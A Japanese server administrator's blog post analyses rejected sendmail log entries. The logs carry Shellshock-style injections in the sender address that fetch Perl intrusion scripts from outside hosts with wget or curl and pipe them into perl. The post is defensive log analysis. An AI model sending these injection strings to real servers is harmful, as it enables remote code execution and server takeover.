セキュリティ:sendmail デーモンへの怪しいアクセス

サーバーの自己診断レポートが毎朝届きますが、最近メールサービスへ、おかしな接続が発生していることに気づいたので、そのメモ。

サーバーを公開していると、SPAMメッセージを送りつけたり、踏み台に出来ないかとメールサーバーをスキャンしてくる輩が絶えません。
当然、そういうことは出来ないように対策していますが、以下のような SMTP プロトコルではないログが記録されていることがあります。

553 check_mail () { :; }; wget -qO - http://193.32.208.10/reps|perl {:;};wget.-qO.-.http://193.32.208.10/reps|perl

恐らくSMTPエージェントのセキュリティーホールを突く攻撃だと想像はつきますけど、今日、一行レポートに含まれていたので、今月分の sendmail log ファイルの中を確認してみました。

mail.log を パイプ “|” で grep してみたところ、以下のように今月 5回ほど接続があったことが判明。

Jun  2 13:04:44 tokyo sm-mta[86604]: 35244hAU086604: ruleset=check_mail, arg1=<() { :; }; wget -qO - 68.235.39.225/ipax|perl>, relay=serv1.jokeroo.com [104.200.159.174], reject=553 5.5.4 <() { :; }; wget -qO - 68.235.39.225/ipax|perl>... Domain name required for sender address {:;};wget.-qO.-.68.235.39.225/ipax|perl
Jun  2 13:04:44 tokyo sm-mta[86604]: 35244hAU086604: from=<() { :; }; wget -qO - 68.235.39.225/ipax|perl>, size=0, class=0, nrcpts=0, proto=SMTP, daemon=IPv4, relay=serv1.jokeroo.com [104.200.159.174]
Jun  3 09:21:45 tokyo sm-mta[93792]: 3530LiM8093792: ruleset=check_mail, arg1=<() { :; }; wget -qO - 68.235.39.225/ipax|perl>, relay=[104.200.146.36], reject=553 5.5.4 <() { :; }; wget -qO - 68.235.39.225/ipax|perl>... Domain name required for sender address {:;};wget.-qO.-.68.235.39.225/ipax|perl
Jun  3 09:21:45 tokyo sm-mta[93792]: 3530LiM8093792: from=<() { :; }; wget -qO - 68.235.39.225/ipax|perl>, size=0, class=0, nrcpts=0, proto=SMTP, daemon=IPv4, relay=[104.200.146.36]
Jun  5 14:49:53 tokyo sm-mta[18700]: 3555nrku018700: ruleset=check_mail, arg1=<() { :; }; wget -qO - 68.235.39.225/ipax|perl>, relay=serv1.jokeroo.com [104.200.159.174], reject=553 5.5.4 <() { :; }; wget -qO - 68.235.39.225/ipax|perl>... Domain name required for sender address {:;};wget.-qO.-.68.235.39.225/ipax|perl
Jun  5 14:49:54 tokyo sm-mta[18700]: 3555nrku018700: from=<() { :; }; wget -qO - 68.235.39.225/ipax|perl>, size=0, class=0, nrcpts=0, proto=SMTP, daemon=IPv4, relay=serv1.jokeroo.com [104.200.159.174]
Jun  7 01:20:52 tokyo sm-mta[29287]: 356GKpnO029287: ruleset=check_mail, arg1=<() { :; }; curl -sS 68.235.39.225/ipax|perl>, relay=serv1.jokeroo.com [104.200.159.174], reject=553 5.5.4 <() { :; }; curl -sS 68.235.39.225/ipax|perl>... Domain name required for sender address {:;};curl.-sS.68.235.39.225/ipax|perl
Jun  7 01:20:52 tokyo sm-mta[29287]: 356GKpnO029287: from=<() { :; }; curl -sS 68.235.39.225/ipax|perl>, size=0, class=0, nrcpts=0, proto=SMTP, daemon=IPv4, relay=serv1.jokeroo.com [104.200.159.174]
Jun 13 20:09:02 tokyo sm-mta[99395]: 35DB92nw099395: ruleset=check_mail, arg1=<() { :; }; wget -qO - http://193.32.208.10/reps|perl>, relay=[104.200.146.36], reject=553 5.5.4 <() { :; }; wget -qO - http://193.32.208.10/reps|perl>... Domain name required for sender address {:;};wget.-qO.-.http://193.32.208.10/reps|perl
Jun 13 20:09:03 tokyo sm-mta[99395]: 35DB92nw099395: from=<() { :; }; wget -qO - http://193.32.208.10/reps|perl>, size=0, class=0, nrcpts=0, proto=SMTP, daemon=IPv4, relay=[104.200.146.36]

どのOSに組み込まれてる SMTP エージェントと wget を対象にしたものか詳しいことはわかりませんが、セキュリティーホールを含む sendmail が動いていると、ログのIP(68.235.39.225 や193.32.208.10 )アドレスに置いてある、侵入プログラム ipax や reps という perl で書かれたプログラムをダウンロードさせられ、
それを、sendmail の権限で保存できるディレクトリ(/tmp や /var/tmp )に保存され、さらに sendmail の権限でプログラムが実行されるという具合。

68.235.39.225 を検索してみると、TZULO というシカゴにあるホスティング会社のようです。月額5ドルくらいで、侵入プログラムのダウンロードできるようにしているんでしょう。

クライアントじゃなく、サーバーを狙うってことは、踏み台を作ろうとしているのかな?
SMTPエージェントの権限でアクセスできるのは、メールスプールと tmp くらいなので、(ターゲット以外のOSへ)侵入できたとしてもOSを乗っ取るのは無理。私のサーバーの場合は、全部 reject になっているので、これ以上調査する必要はなさそうです。

でも、日々のログチェックは重要だと毎度実感。

コメントを残す